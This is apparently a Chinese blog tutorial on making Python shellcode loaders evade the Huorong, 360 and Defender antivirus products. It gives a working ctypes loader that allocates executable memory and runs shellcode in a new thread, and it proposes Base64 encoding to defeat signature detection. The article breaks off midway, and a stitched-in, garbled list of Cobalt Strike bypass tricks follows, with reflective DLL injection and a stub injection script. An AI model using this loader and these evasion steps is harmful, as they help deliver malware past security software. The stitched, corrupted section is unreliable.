Python免杀火绒、360和Defender

目录

简介

环境

原理

加载ShellCode

定位特征码 

Base64编码绕过


简介

之前学习免杀都是使用Metasploit自带的编码进行,从未成功过。也使用过GitHub上别人提供的免杀方法,最近学习并实践发现绕过国内的杀毒软件貌似并不难,本文使用手工分析特征码,使用base64编码绕过杀毒软件静态分析。虽然使用的方法比较简单,但对实际做免杀及免杀研究还是有一定意义的。

环境

  • Windows 10 x64
  • Python 3.8.3
  • Pyinstaller
  • 火绒版本:5.0.53.1,病毒库:2020-10-09
  • 360安全卫士:12.0.0.2003,备用木马库:2020-10-10
  • 360杀毒:5.0.0.8170

原理

杀毒软件的原理一般是匹配特征码,行为监测,虚拟机(沙箱),内存查杀等。360和火绒主要使用特征码检测查杀病毒(云查杀也是特征码检测),本文仅对360、火绒和Defender进行特征码检测绕过,因为Metasploit和CobaltStrike生成的shellcode中包含内存大小检测、网卡地址检测、编码、时区感知和获取系统信息等功能,但有时功能太多反而容易被检测,如图:

因此,本文通过使用base64编码混淆代码来绕过特征检测。

加载ShellCode

在C/C++语言中,通过申请内存将shellcode加载到内存中进行执行,在Python语言中通过ctypes模块将shellcode加载到内存并执行:

import ctypes

shellcode = b''
#调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存,0x3000代表MEM_COMMIT | MEM_RESERVE,0x40代表可读可写可执行属性
wiseZERld = ctypes.windll.kernel32.VirtualAlloc(  
    ctypes.c_int(0),
    ctypes.c_int(len(shellcode)),
    ctypes.c_int(0x3000),ctypes.c_int(0x40)
)
#调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_int(wiseZERld),
    shellcode,
    ctypes.c_int(len(shellcode))
)
#创建线程并执行shellcode
CVXWRcjqxL = ctypes.windll.kernel32.CreateThread( 
    ctypes.c_int(0),#指向安全属性的指针
    ctypes.c_int(0),#初始堆栈大小
    ctypes.c_int(wiseZERld),#指向起始地址的指针
    ctypes.c_int(0),#指向任何参数的指针
    ctypes.c_int(0),#创建标志
    ctypes.pointer(ctypes.c_int(0)))#指向接收线程标识符的值的指针
ctypes.windll.kernel32.WaitForSingleObject(
    ctypes.c_int(CVXWRcjqxL),
    ctypes.c_int(-1)
)

定位特征码 

但上面的代码早已被提取特征码,杀毒软件会检测到,如图:

### Cobalt Strike 技巧实现方法 #### 1. 使用 GobypassAV-shellcode 开源项目 GobypassAV-shellcode 是一个专注于 Cobot Strike 的技术的开源项目。此项目提供了一种有效的方法来避开主流毒软件(如火绒360系列、Defender)的查,从而实现更为隐蔽持久的网络渗透测试[^1]。 #### 2. 利用混淆技术编码器 为了使恶意代码难以被识别,可以采用多种混淆手段技术。例如,使用 Metasploit 中内置的各种编码器对 payload 进行加密处理,使得静态分析变得困难。此外,还可以通过修改 shellcode 结构或引入无害指令填充等方式增加复杂度,降低特征匹配的成功率[^2]。 #### 3. 动态加载与反射注入 动态加载是指在运行时解析并调用所需的 API 函数而不是直接硬编码路径;而反射注入则是指将自定义 DLL 注入到目标进程中执行而不依赖于文件系统上的副本。这两种方式都可以减少签名规则命中几率,并且让安全产品更难追踪行为模式。 #### 4. 配合在线沙盒环境测试效果 实际操作过程中建议配合使用线上沙箱服务来进行简单快速的效果验证。这有助于及时调整策略以适应不同厂商产品的更新变化趋势,确保最终生成的有效载荷能够在大多数环境中保持较低检出率的同时维持正常功能。 ```python from ctypes import * import sys def reflective_inject(dll_path, target_pid): # 反射注入的核心逻辑省略... pass if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python script.py <DLL_PATH> <TARGET_PID>") exit(1) dll_path = sys.argv[1] target_pid = int(sys.argv[2]) reflective_inject(dll_path, target_pid) ```
评论 16
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值